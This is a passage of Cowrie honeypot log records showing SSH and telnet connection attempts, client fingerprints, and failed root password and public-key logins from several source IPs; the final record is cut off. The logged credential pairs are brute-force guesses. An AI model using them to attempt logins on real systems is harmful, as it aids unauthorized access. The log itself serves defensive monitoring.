{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:54.634877Z","src_ip":"46.165.56.242","session":"82fe5203a918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:55.561836Z","src_ip":"46.165.56.242","session":"82fe5203a918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:13:56.722598Z","src_ip":"46.165.56.242","session":"82fe5203a918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":30516,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a416db4607","protocol":"ssh","message":"New connection: 45.123.110.70:30516 (159.203.135.109:22) [session: 28a416db4607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:35.240295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:35.245478Z","src_ip":"45.123.110.70","session":"28a416db4607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:35.480234Z","src_ip":"45.123.110.70","session":"28a416db4607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katsuragi","message":"login attempt [root/katsuragi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:36.461471Z","src_ip":"45.123.110.70","session":"28a416db4607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:37.699406Z","src_ip":"45.123.110.70","session":"28a416db4607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":54866,"dst_ip":"159.203.135.109","dst_port":22,"session":"89a9294239c6","protocol":"ssh","message":"New connection: 138.99.80.102:54866 (159.203.135.109:22) [session: 89a9294239c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:54.202530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:54.206607Z","src_ip":"138.99.80.102","session":"89a9294239c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:54.313446Z","src_ip":"138.99.80.102","session":"89a9294239c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456","message":"login attempt [root/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:54.771340Z","src_ip":"138.99.80.102","session":"89a9294239c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc8a912ef54","protocol":"telnet","message":"New connection: 167.71.238.254:48902 (10.17.0.5:23) [session: ccc8a912ef54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:54.946993Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:14:55.880485Z","src_ip":"138.99.80.102","session":"89a9294239c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21289658546448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:15:29.159758Z","src_ip":"167.71.238.254","session":"ccc8a912ef54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":57356,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d130f452d5","protocol":"ssh","message":"New connection: 45.123.110.70:57356 (159.203.135.109:22) [session: a9d130f452d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:17.934149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:17.941013Z","src_ip":"45.123.110.70","session":"a9d130f452d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:18.179241Z","src_ip":"45.123.110.70","session":"a9d130f452d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cernet","message":"login attempt [root/cernet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:19.150165Z","src_ip":"45.123.110.70","session":"a9d130f452d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:20.387327Z","src_ip":"45.123.110.70","session":"a9d130f452d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":51398,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6927461e74","protocol":"ssh","message":"New connection: 128.0.104.39:51398 (10.17.0.5:22) [session: aa6927461e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:22.666470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:22.670895Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:22.797494Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:c4:36:59:d6:70:e2:e0:64:71:c9:9e:dc:fc:3f:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/lVs8dUVWyQEO0Rc4p0+uKhXEfrT8EkGSo2bNEW0S0I181xSm9O4KW/u7Njv00KqtO9OA9mhNg25dlMH90Sp+bXcw64RjSIDTwobldngLqpIKRdjAICBFdjSHRlVjf9hWdSW8555NRXBy1/ihDhz5kwaP9N1SOJbJxjSjRgrNrZMNLJzkTI9bGY3JKK/7n22vthBxJOSpGRs2IvVXmksR8jzWb3EkJrXpA7Akt7aABaLPDeilw0OYsKTDBTbvF0gQ31GFONJYYLnnANbaGpjpbnWzj4j0a4Nw4yLGM3UesSvv+hTRqhE6TyVFVmPKdu7VQodVS7qXRZyj+n649qr2XpyQWath73STvNobUQAV8odTamPfF2G3FjOwN++VOEuEyFMtyEAJT/Im8lDQSAteNa6sYuCDXtbe6zYxN6O4VAdnlxpDqJ0vxcdQhsqSSg4x8QQ5SIvIx8Ll8L/Z16K0mQi5baFNZzDNXBcQKGLdfauR7KBhpbW9JjJIvXYgqye9Zv3XHllNp+aqd0rFRDkJyAY+7yyqTupeQiwBK0blJRU8wZmz+CtKSzmFwzqr76DYTQOCz3nnNgmL18HdoSQtHbr+nS0RCr7l4T040X6e8qvghd2YIGMqu1Cs110qeC63fbN7c1IEfbaxPpnrkUAv35kKTizn3Aca8OZ8wnTW+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:c4:36:59:d6:70:e2:e0:64:71:c9:9e:dc:fc:3f:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.387475Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:c4:36:59:d6:70:e2:e0:64:71:c9:9e:dc:fc:3f:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/lVs8dUVWyQEO0Rc4p0+uKhXEfrT8EkGSo2bNEW0S0I181xSm9O4KW/u7Njv00KqtO9OA9mhNg25dlMH90Sp+bXcw64RjSIDTwobldngLqpIKRdjAICBFdjSHRlVjf9hWdSW8555NRXBy1/ihDhz5kwaP9N1SOJbJxjSjRgrNrZMNLJzkTI9bGY3JKK/7n22vthBxJOSpGRs2IvVXmksR8jzWb3EkJrXpA7Akt7aABaLPDeilw0OYsKTDBTbvF0gQ31GFONJYYLnnANbaGpjpbnWzj4j0a4Nw4yLGM3UesSvv+hTRqhE6TyVFVmPKdu7VQodVS7qXRZyj+n649qr2XpyQWath73STvNobUQAV8odTamPfF2G3FjOwN++VOEuEyFMtyEAJT/Im8lDQSAteNa6sYuCDXtbe6zYxN6O4VAdnlxpDqJ0vxcdQhsqSSg4x8QQ5SIvIx8Ll8L/Z16K0mQi5baFNZzDNXBcQKGLdfauR7KBhpbW9JjJIvXYgqye9Zv3XHllNp+aqd0rFRDkJyAY+7yyqTupeQiwBK0blJRU8wZmz+CtKSzmFwzqr76DYTQOCz3nnNgmL18HdoSQtHbr+nS0RCr7l4T040X6e8qvghd2YIGMqu1Cs110qeC63fbN7c1IEfbaxPpnrkUAv35kKTizn3Aca8OZ8wnTW+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.391147Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:26:8f:fc:37:c3:5c:0f:9c:d6:0e:05:12:4e:a5:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZEfvr4F9DmPcHRU+kgF1z4jO0cCDhA0ulRmD4usSvmAs/5cNBz+utSo76ylyDW69NfIImo8UQue3dzGnO1KDpDwhqOS9Dgd2LvR2ualKl+BG3qDs/7L86FXFoRGk4Wbgu46YUNZwiG/8JmXPNqBOg9G1sZAdCV23acUQHYuwxIQzwMoYtkYgglfl09xRcbavCJF7HCS0nW1yucE2BkY2CcjsB4DsZvdq1NZRyp55ORK2PuW+OedLj5j3c9cbMoJJVyCeC+8Lf9krcunv6DbR6fKlbqYb0NBanGcR6qq9FaBBVVemyWqV8e9emwZRX6wJi5SNUWeDTyFqKuSr1FGHF2XeyCJbDEZuJ8h6ge4dTUIgP4pUK6hrfzOHrHPgSsZs7dTB/rnC2FUMxlOmOMKDx7y2csaPnLGLZIjwUmUWvE1tQD8ZhQuzpI7vrYb3euVh/1G3dEX7Ev5bh0uFz1shFstUqZo8J1FIq3OnuFRzj0qo0N8i0gDXn00XL/rf/P8UJnuJBS8so319v4OQDyPYx6PNzMZWQCeS7Jg60siAu+k7Ez98i8s4rSJtril31dq44k2HKrhs0ESGfjHEGrkJvZfQY1lznc3c43PleI5UZsWZSml2M41oBQH5pVkbAV0Jrcjl+KGQcno8gVMNsdji21LGOdPIb3nqatuPYpfyvuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:26:8f:fc:37:c3:5c:0f:9c:d6:0e:05:12:4e:a5:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.513854Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:26:8f:fc:37:c3:5c:0f:9c:d6:0e:05:12:4e:a5:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZEfvr4F9DmPcHRU+kgF1z4jO0cCDhA0ulRmD4usSvmAs/5cNBz+utSo76ylyDW69NfIImo8UQue3dzGnO1KDpDwhqOS9Dgd2LvR2ualKl+BG3qDs/7L86FXFoRGk4Wbgu46YUNZwiG/8JmXPNqBOg9G1sZAdCV23acUQHYuwxIQzwMoYtkYgglfl09xRcbavCJF7HCS0nW1yucE2BkY2CcjsB4DsZvdq1NZRyp55ORK2PuW+OedLj5j3c9cbMoJJVyCeC+8Lf9krcunv6DbR6fKlbqYb0NBanGcR6qq9FaBBVVemyWqV8e9emwZRX6wJi5SNUWeDTyFqKuSr1FGHF2XeyCJbDEZuJ8h6ge4dTUIgP4pUK6hrfzOHrHPgSsZs7dTB/rnC2FUMxlOmOMKDx7y2csaPnLGLZIjwUmUWvE1tQD8ZhQuzpI7vrYb3euVh/1G3dEX7Ev5bh0uFz1shFstUqZo8J1FIq3OnuFRzj0qo0N8i0gDXn00XL/rf/P8UJnuJBS8so319v4OQDyPYx6PNzMZWQCeS7Jg60siAu+k7Ez98i8s4rSJtril31dq44k2HKrhs0ESGfjHEGrkJvZfQY1lznc3c43PleI5UZsWZSml2M41oBQH5pVkbAV0Jrcjl+KGQcno8gVMNsdji21LGOdPIb3nqatuPYpfyvuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.521021Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:0e:69:a8:93:80:1f:46:c2:84:d2:a1:16:a8:9e:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmtxcGxpwNA3PLYk+f/VBj3RpQSupG6T1y53iTxpN9B7G66DIbqUaxpqmv/XtjZm6YEiK9KIIr2sNrEka6Gx54WAr+0Qu0f2jE8qbk/FNuaS96NQ5tHsFA789QjKEznrO+wrSMIcr3/ktQHdiWnYAakIjAb85tXZp601pqoU1W6KYhvCFW+73VsIME9zDho5dsCN6DYdCniK+KBSD56eHxWZEN6RXU2M7qUlunibgvX/ui3kOtr89nZw8VH8sfazz3WNvI+v7xDx1jI03djmb6bb/i+7+aMxp9Hl3Qogx2jjGR/6EMWz0UyP68GIoz+RQ1Sh3LLbAAWxr/BWo9y2n/pn7ofzmMI+RBoDLvv7j87gpTjeHrxnIkgPFZNFLWsKpOvCwN/oY+/dvKekS2+y15FSTTNOEHIF1rpus/ucDWk0Aem/OckIRerShnhgUPHekjUvUyTGSj6uAnvXjE2BZfgjH3UYWeLMFR7fwIlJxGQFXLiGEgpyYbChiBLxhOVzD8IsuvQmoGCJpb8eAOzfpIhZocFfNVBopp3uFp9aA3OcYjmCfovkQlZCjM1WpB3y4CB23SMvEmg5X+zRSb3nldFdIHHk5ZK6IqzP1GvlWNC/7lG0XztUiuyWsEEItbQ8uXoWbwBS/2SptAXmmBNxRvIzHglyafPdkz270JSp/jMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:0e:69:a8:93:80:1f:46:c2:84:d2:a1:16:a8:9e:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.643961Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:0e:69:a8:93:80:1f:46:c2:84:d2:a1:16:a8:9e:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmtxcGxpwNA3PLYk+f/VBj3RpQSupG6T1y53iTxpN9B7G66DIbqUaxpqmv/XtjZm6YEiK9KIIr2sNrEka6Gx54WAr+0Qu0f2jE8qbk/FNuaS96NQ5tHsFA789QjKEznrO+wrSMIcr3/ktQHdiWnYAakIjAb85tXZp601pqoU1W6KYhvCFW+73VsIME9zDho5dsCN6DYdCniK+KBSD56eHxWZEN6RXU2M7qUlunibgvX/ui3kOtr89nZw8VH8sfazz3WNvI+v7xDx1jI03djmb6bb/i+7+aMxp9Hl3Qogx2jjGR/6EMWz0UyP68GIoz+RQ1Sh3LLbAAWxr/BWo9y2n/pn7ofzmMI+RBoDLvv7j87gpTjeHrxnIkgPFZNFLWsKpOvCwN/oY+/dvKekS2+y15FSTTNOEHIF1rpus/ucDWk0Aem/OckIRerShnhgUPHekjUvUyTGSj6uAnvXjE2BZfgjH3UYWeLMFR7fwIlJxGQFXLiGEgpyYbChiBLxhOVzD8IsuvQmoGCJpb8eAOzfpIhZocFfNVBopp3uFp9aA3OcYjmCfovkQlZCjM1WpB3y4CB23SMvEmg5X+zRSb3nldFdIHHk5ZK6IqzP1GvlWNC/7lG0XztUiuyWsEEItbQ8uXoWbwBS/2SptAXmmBNxRvIzHglyafPdkz270JSp/jMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.648082Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:ee:1d:f9:34:74:7d:86:be:a3:69:b6:be:87:05:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDo5XYBqokicS7zP8FSwvsywu9D9KoiojngPZRLau9rWwgBhmFN40bGMXkZrfjRFNcldzY+8XDl3G2FFqtifQf5f96jY2qLp1FbYH1iT6wbnVk2mzwVansSdAfRuPI3EMcprZfW5FBr+hWcsPIhIgBEEnWp7ns+HmoFDCE5KML8oR3mc2vxRbCA+gMkYN3gmtFCKiF17jMkKus91eOzNY0UzeEoGCMoLv8hKBNnsCqLilPvUlk+1jZ/rPHaf2gFvgtLG5u4YP+h2HqAWGbvbkBTBhNJWU6JLsf9Wa9sV/Ovy3UyC0qURzmitseNB006mrUzHvjUqkgF68cv8R2zqQ7ykU+xXiTvFSm1YQ49zjIrnkjq3pkMl2eQlEtkreRJgqaTltVAiy0hiCtC9mr5g1r59xlF0nIT4vRLXxKdqUwNo53+fF0eHmJEQjqee9wX2cNuLT1hUULeKMSHlwkBf+1ArWhaOd7tTqF3/XwNFCMBgAPDKDpqUyVHpU6CB8daY0Oy/av5oKmR70iGAka9GbNPSEtWFaq0CzEEuZvRp5UhdhemwE068xs7fEf6SCWtU1vLcRhs7Lv9IRPu6PwPWGkMc4dLOv1CpWojSKFCBaanBmZsHuGcBDyTDTd3bo9NrMkg5VkxcVunKsg2LefKR5lS/hEvZ4az7mUOj2uRUrLVMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 